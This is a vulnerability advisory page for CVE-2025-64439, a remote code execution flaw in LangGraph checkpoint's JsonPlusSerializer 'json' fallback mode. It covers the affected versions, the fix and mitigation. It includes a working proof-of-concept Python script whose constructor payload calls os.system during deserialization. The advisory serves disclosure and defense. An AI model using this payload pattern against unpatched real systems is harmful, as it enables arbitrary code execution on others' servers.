CVE-2025-64439: LangGraph Checkpoint affected by RCE in "json" mode of JsonPlusSerializer

Published Nov 5, 2025
·
Updated

Summary

Prior to langgraph-checkpoint version 3.0 , LangGraph’s JsonPlusSerializer (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the "json" serialization mode.

If an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization.

Upgrading to version langgraph-checkpoint 3.0 patches this vulnerability by preventing deserialization of custom objects saved in this mode.

If you are deploying in langgraph-api, any version 0.5 or later is also free of this vulnerability.

Details

Affected file / component

jsonplus.py

By default, the serializer attempts to use "msgpack" for serialization. However, prior to version 3.0 of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the "json" mode.

When operating in this mode, the deserializer supports a constructor-style format (lc == 2, type == "constructor") for custom objects to allow them to be reconstructed at load time. If an attacker is able to trigger this mode with a malicious payload, deserializing allow the attacker to execute arbitrary functions upon load.

---

Who is affected

This issue affects all users of langgraph-checkpoint versions earlier than 3.0 who:

1. Allow untrusted or user-supplied data to be persisted into checkpoints, and 2. Use the default serializer (or explicitly instantiate JsonPlusSerializer) that may fall back to "json" mode.

If your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.

Proof of Concept (PoC)

python from langgraph.graph import StateGraph from typing import TypedDict from langgraph.checkpoint.sqlite import SqliteSaver

class State(TypedDict): foo: str attack: dict

def mynode(state: State): return {"foo": "oops i fetched a surrogate \ud800"}

with SqliteSaver.fromconnstring("foo.db") as saver: graph = ( StateGraph(State). addnode("mynode", mynode). addedge("start", "mynode"). compile(checkpointer=saver) )

attack = { "lc": 2, "type": "constructor", "id": ["os", "system"], "kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"}, } maliciouspayload = { "attack": attack, }

threadid = "00000000-0000-0000-0000-000000000001" config = {"threadid": threadid} # Malicious payload is saved in the first call graph.invoke(maliciouspayload, config=config)

# Malicious payload is deserialized and code is executed in the second call graph.invoke({"foo": "hi there"}, config=config)

Running this PoC writes a file /tmp/pwnd.txt to disk, demonstrating code execution.

Internally, this exploits the following code path:

python from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer

serializer = JsonPlusSerializer() # Used within the checkpointer

serialized = serializer.dumpstyped(maliciouspayload) serializer.loadstyped(serialized) # Executes os.system(...)

---

Fixed Version

The vulnerability is fixed in langgraph-checkpoint==3.0.0

Release link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0

---

Fix Description

The fix introduces an allow-list for constructor deserialization, restricting permissible "id" paths to explicitly approved module/class combinations provided at serializer construction.

Additionally, saving payloads in "json" format has been deprecated to remove this unsafe fallback path.

---

Mitigation

Upgrade immediately to langgraph-checkpoint==3.0.0.

This version is fully compatible with langgraph>=0.3 and does not require any import changes or code modifications.

In langgraph-api, updating to 0.5 or later will automatically require the patched version of the checkpointer library.

Other sources

LangGraph SQLite Checkpoint is an implementation of LangGraph CheckpointSaver that uses SQLite DB (both sync and async, via aiosqlite). In versions 2.1.2 and below, the JsonPlusSerializer (used as the default serialization protocol for all checkpointing) contains a Remote Code Execution (RCE) vulnerability when deserializing payloads saved in the "json" serialization mode. By default, the serializer attempts to use "msgpack" for serialization. However, prior to version 3.0 of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the "json" mode. This issue is fixed in version 3.0.0.

MITRE

Affected Software

1 affected componentFixes available
pip/langgraph-checkpoint<3.0.0
3.0.0

Event History

Nov 5, 2025
Advisory Published
via GitHub·07:52 PM
Data Sourced
via GitHub·07:52 PM
DescriptionWeaknessAffected Software
Nov 7, 2025
CVE Published
via MITRE·08:15 PM
Data Sourced
via MITRE·08:15 PM
DescriptionWeakness
Data Sourced
via NVD·09:15 PM
DescriptionSeverityWeakness
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-64439?

CVE-2025-64439 has a high severity due to its potential for remote code execution vulnerabilities.

2

How do I fix CVE-2025-64439?

To fix CVE-2025-64439, upgrade the langgraph-checkpoint package to version 3.0.0 or later.

3

What does CVE-2025-64439 affect?

CVE-2025-64439 affects all versions of the langgraph-checkpoint package prior to 3.0.0 that utilize JsonPlusSerializer.

4

What is the nature of the vulnerability in CVE-2025-64439?

The vulnerability in CVE-2025-64439 allows remote code execution when payloads are deserialized in json serialization mode.

5

Can CVE-2025-64439 be exploited by an attacker?

Yes, CVE-2025-64439 can be exploited by an attacker to execute arbitrary code on the target system.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203